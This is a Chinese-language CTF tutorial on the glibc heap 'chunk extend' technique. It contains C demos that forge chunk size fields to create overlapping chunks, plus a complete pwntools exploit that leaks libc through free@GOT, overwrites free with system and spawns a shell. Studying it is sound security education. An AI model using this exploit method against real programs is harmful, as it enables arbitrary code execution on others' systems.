title: Chunk Extend
date: 2018-04-11 17:35:45
categories:
chunk extend/shrink 是堆漏洞的一种常见的利用手法,与其他堆漏洞的利用相同,chunk extend/shrink 攻击同样需要有可以控制 malloc_chunk 的漏洞。这种利用方法需要以下的先决条件:
该技术依赖于 ptmalloc(aka glibc) 获取 malloc_chunk 的各种属性的宏。
在 ptmalloc 中,获取下一 chunk 块地址即使用当前块指针加上当前块大小,
在 ptmalloc 中,获取前一 chunk 块地址即使用malloc_chunk->prev_size获取前一块大小,然后使用本 chunk 地址减去所得大小。
一般来说,我们很少见到进行 chunk shrink 的操作。所以这里主要介绍 chunk extend 的利用。
简单来说,该利用的效果是通过更改第一个块的大小来控制第二个块的内容。
int main(void){
void *ptr,*ptr1;
ptr=malloc(0x10);//分配第一个0x10的chunk
malloc(0x10);//分配第二个0x10的chunk
*(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域
free(ptr);
ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容
return 0;
}
以下这个示例中,我们使用 0x80 这个大小来分配堆(作为对比,fastbin 默认的最大的 chunk 可使用范围是0x70)。
因为分配的 size 不处于 fastbin 的范围,因此在释放时如果与 top chunk 相连会导致和top chunk合并。所以我们需要额外分配一个chunk,把释放的块与top chunk隔开。
int main(){
void *ptr,*ptr1;
ptr=malloc(0x80);//分配第一个 0x80 的chunk1
malloc(0x10); //分配第二个 0x10 的chunk2
malloc(0x10); //防止与top chunk合并
*(int *)((int)ptr-0x8)=0xb1;
free(ptr); //释放后,chunk1 把 chunk2 的内容吞并掉并一起置入unsorted bin
ptr1=malloc(0xa0);
//再次进行分配的时候就会取回 chunk1 和 chunk2 的空间,此时我们就可以控制 chunk2 中的内容。
}
示例3是在示例2的基础上进行的,这次我们先释放 chunk1,然后再修改 unsorted bin 中的 chunk1 的size域。
int main(){
void *ptr,*ptr1;
ptr=malloc(0x80);//分配第一个0x80的chunk1
malloc(0x10);//分配第二个0x10的chunk2
free(ptr);//首先进行释放,使得chunk1进入unsorted bin
*(int *)((int)ptr-0x8)=0xb1;//然后篡改chunk1的size域 , 大小包含chunk1和chunk2
//再进行 malloc 分配就可以得到 chunk1+chunk2 的堆块,从而控制了chunk2 的内容。
ptr1=malloc(0xa0);
}
一般来说,这种技术并不能直接控制程序的执行流程,但是可以导致 chunk overlapping,所以我们可以完整的控制这个堆块 chunk 中的内容。如果 chunk 存在字符串指针、函数指针等,就可以利用这些指针来进行信息泄漏和控制执行流程。如果不存在类似的域也可以通过控制 chunk header 中的数据来实现 fastbin attack 等利用。
程序大概是一个自定义的堆分配器,每个堆主要有两个成员:大小与内容指针。主要功能如下
基本利用思路如下
更加具体的还是直接看脚本吧。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./heapcreator')
heap = ELF('./heapcreator')
libc = ELF('./libc.so.6')
def create(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def edit(idx, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(content)
def show(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
def delete(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))
free_got = 0x602018
create(0x18, "dada") # 0
create(0x10, "ddaa") # 1
# overwrite heap 1's struct's size to 0x41
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
# 覆盖之后释放:
# 会出现 30(低地址) 和 10(高地址) 大小的空闲快
# Create(0x30) 可以实现 覆盖 结构体的Content 指针。
# trigger heap 1's struct to fastbin 0x40
# heap 1's content to fastbin 0x20
delete(1)
# new heap 1's struct will point to old heap 1's content, size 0x20
# new heap 1's content will point to old heap 1's struct, size 0x30
# that is to say we can overwrite new heap 1's struct
# here we overwrite its heap content pointer to free@got
create(0x30, p64(0) * 4 + p64(0x30) + p64(heap.got['free'])) #1
# 创建之后,结构体在高地址,Content块在低地址,通过写入Content覆盖结构体的指向的Content块为Free()。
# 然后向Content写入地址,即可替换free()地址。
# leak freeaddr
show(1)
r.recvuntil("Content : ")
data = r.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
#gdb.attach(r)
# overwrite free@got with system addr
edit(1, p64(system_addr))
# trigger system("/bin/sh")
delete(0)
r.interactive()